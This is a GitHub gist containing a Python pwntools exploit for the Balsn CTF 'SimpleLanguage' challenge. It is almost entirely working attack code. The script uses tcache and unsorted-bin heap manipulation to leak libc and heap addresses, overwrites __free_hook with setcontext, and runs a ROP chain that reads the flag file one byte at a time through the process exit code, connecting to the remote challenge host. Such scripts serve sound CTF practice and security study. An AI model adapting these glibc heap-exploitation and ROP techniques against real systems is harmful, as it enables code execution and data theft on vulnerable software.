Created
October 7, 2019 02:04
-
-
Save Jinmo/6988cc934b309d8706feafaffefbc39e to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import struct | |
def flatten(input_array): | |
result_array = [] | |
for element in input_array: | |
if isinstance(element, list): | |
result_array += flatten(element) | |
else: | |
result_array.append(element) | |
return result_array | |
def string(x): | |
assert '\x20\n' not in x | |
return ['"'+x+'"'] | |
def num(x): | |
return [str(x)] | |
def L(x): | |
return string(x) if isinstance(x, basestring) else num(x) | |
def symbol(x, y): | |
return ["/"+x, y] | |
main_arena = 0x3ebca0 | |
free_hook = 0x3ed8e8 | |
addr = lambda address: ["dup", address, "load"] | |
write = lambda address, value: [ | |
addr(address), | |
["driver", value, "load"] | |
] | |
libc = lambda offset, delta= - 8: ["base", L(offset + delta), "add"] | |
heap = lambda offset, delta= - 8: ["heap", L(offset + delta), "add"] | |
bss = lambda offset, delta = -8: heap(offset + 0x3000, delta) | |
setcontext=0x520a5 | |
open=0x10fc40 | |
poprdi=0x2155f | |
poprsir15=0x2155d | |
poprax=0x439c8 | |
read=0x110070 | |
_exit=0xe4dd0 | |
syscall=0x11b837 | |
poprdx=0x1b96 | |
name=struct.unpack("<4Q", '/home/SimpleLanguage/flag'.ljust(32, '\x00')) | |
def gen_payload(offset): | |
rop = [ | |
bss(0x100, 0), | |
libc(poprax, 0), | |
L(2), | |
libc(syscall, 0), | |
libc(poprdi, 0), | |
L(0), | |
libc(poprsir15, 0), | |
bss(0x200,0), | |
None, | |
libc(poprdx, 0), | |
L(offset), | |
libc(read, 0), | |
libc(poprsir15, 0), | |
'exitcode', | |
None, | |
libc(poprdx, 0), | |
L(1), | |
libc(read, 0), | |
libc(poprdi, 0), | |
'here', | |
libc(_exit, 0), | |
] | |
rop[rop.index('exitcode')]=bss(8*rop.index('here'), 0) | |
rop[rop.index('here')]=L(0) | |
return [write(bss(i*8), value) for i, value in enumerate(rop) if value is not None] | |
flag='' | |
context.log_level='error' | |
for offset in range(80): | |
payload = flatten([ | |
"Balsn", | |
[L("a"*16)] * 9, | |
symbol("a", L("a"*128)), | |
L("a"*128), "dup", | |
[["dup", symbol("b%d"%i, L("a")), "b%d" % i, "store"] for i in range(7)], | |
# fills tcache of 134byte bins | |
[["b%d" % i, "del", L("a"*0x20)] for i in range(7)], | |
# it'll be unsorted bin | |
["a", "dup", "del"], | |
[ | |
"dup", | |
# overwrite symbol a | |
symbol("z", L("\x01\xff\xff\xff".ljust(24,"!")+"\xd8")) | |
], | |
# now a->value == main_arena | |
[ | |
L(main_arena), "sub", L(0), "sub", | |
symbol("driver", L(0)), | |
symbol("base", L(0)), | |
"base", | |
"store" | |
], | |
[ | |
"z", L("\x01\xff\xff\xff".ljust(24, "!")+"\xf0"), "load", | |
"dup", L(0x40f0), "sub", L(0), "sub", | |
symbol("heap", L(0)), | |
"heap", | |
"store" | |
], | |
write(heap(0x4460+0xa0), bss(0, 0)), | |
write(heap(0x4460+0xa8), libc(poprdi, 0)), | |
gen_payload(offset), | |
write(bss(0x100), L(name[0])), | |
write(bss(0x108), L(name[1])), | |
write(bss(0x110), L(name[2])), | |
write(bss(0x118), L(name[3])), | |
write(libc(free_hook), libc(setcontext, 0)), | |
L(0), 'drop' | |
]) | |
payload = '\n'.join(payload).ljust(0x1000) | |
# payload = payload.ljust(0x1000) | |
HOST, PORT = "simplelanguage.balsnctf.com", "54321" | |
# HOST, PORT = "0.0.0.0", 54321 | |
r = remote(HOST, PORT) | |
menu = lambda: r.recvuntil(" :") | |
ii = lambda x: r.sendline(str(x)) | |
go = lambda x: (menu(), ii(x))[0] | |
go(payload.encode('hex')) | |
flag+=chr(int(r.recvall().strip())) | |
print flag | |
if flag[-1] == '\x00': | |
flag=flag[:-1] | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment